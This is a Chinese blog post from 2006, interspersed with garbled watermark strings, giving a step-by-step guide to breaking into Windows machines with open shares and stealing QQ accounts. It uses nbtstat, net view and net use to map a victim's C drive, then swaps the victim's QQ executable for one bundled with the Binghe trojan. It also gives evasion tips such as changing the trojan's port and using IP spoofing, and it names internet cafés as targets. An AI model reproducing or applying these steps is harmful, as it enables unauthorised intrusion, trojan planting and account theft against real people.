您的位置:我是网管博客
» 松松博客--蜘蛛网管
» 日志
入侵后偷QQ号的方法(禁)
上一篇 /
下一篇 2006-06-27 10:55:24 / 天气: 晴朗
/ 心情: 高兴
/ 个人分类:技术交流
在命令提示符下(即,win9x的dos命令行下)
$tB.Om`*YD0输入 nbtstat -A xxx.xxx.xxx.xxx
/jU8x_:gT^_sg0会得到如下提示信息:
-ynGl Jg$nu0NetBios remote machine name table
(I5v} ZS3aY-G0name __type _________status
-{$V1nm
Kt0clovea <00> unique registered
a7[Dt}3f~0mmxxcc <00> group registered 我是网管博客,I&KHp2\
clovea <03> unique registered
p9\9\O|,y^o0mac address = 00-00-00-00-00-00
$a/{Bv`x6_&v0这里就告诉了你对方的注册用户名,和主机名 均为clovea
4s1I}k@{c\e*G0mmxxcc为对方注册公司。
MIT}vQ'].F0第三步,在命令提示符下输入,
U.[N.f/K;~0net view \\xxx.xxx.xxx.xxx
pnx-_i"H&F7bf2h0这时会显示对方的共享资源。
#^wh2[:Bg"P0比如 我是网管博客%]
D,|0a @d
c xx c
*gV_S&I0说明对方的c盘是共享的。
8Y6yv)Y3EA8v;t0第四步,接下来输入
9Bse]ZS+IK$p0net use z: \\xxx.xxx.xxx.xxx\c 我是网管博客Uhq$_
F0xK
这时,你的z:就成为对方c盘的应像了,可以直接用dos命令操作
3r2BAr4o*tE
G t0如copy z:\program files\oicq.exe d:\oicq.exe 我是网管博客
T!]ncB1o*Jy;Q.Wi
也可以到windowa界面,打开我的电脑,直接操作。 我是网管博客!s1Ww$B!@-TL.}
第5步,查明对方的常用软件,如oicq,winamp,等等
okh_j@1x0然后把对方的常用软件和木马进行捆绑,如把oicq.exe 和G_sever.exe(冰河2.2服务端)。 我是网管博客9g.F:`Ha9F2Onc
第6步,偷梁换柱,把你捆绑好了的oicq.exe覆盖对方的oicq.exe,这样对方每次用oicq的时候就不知不觉的运行了你的木马,嘿嘿。 我是网管博客0pti$m+[+B"e
E_}
第7步,等着你的冰河给你发mail吧,呵呵,不过大家最好还是别用冰河,冰河的万能密码太恐怖了,还有,默认的木马端口一定要记得改啊。
R8A9`$G J0备注,如果对方拥有天网之内的防火墙的话,你是查不到对方的共享资源和信息的。
-cU o$I]w0如果你已经成功的侵入,而又能肯定对方要装防火墙的话,请把木马端口限制在1024以下。 我是网管博客 b:bf.RVXPK
以上方法虽然是利用对方的错误配置等进攻,并且懂点安全知识的都不会共享自己的资源的,但是经我实验证实,有很多网吧为了方便,硬盘都是共享了的,如果对方有路由的话,就先用ip欺骗吧!
M3o+d A9~0首先需要得知对方的ip
%['T9r)l*C9fu'i$p2[0可以用oicq来查对方ip,也可以在聊天室内查。
#L_.}|!L0工具很多,随便都可以抓到一大把。 我是网管博客Ee6O&N'lg
导入论坛
引用链接
收藏
分享给好友
推荐到圈子
管理
举报
TAG:
科学技术
技术交流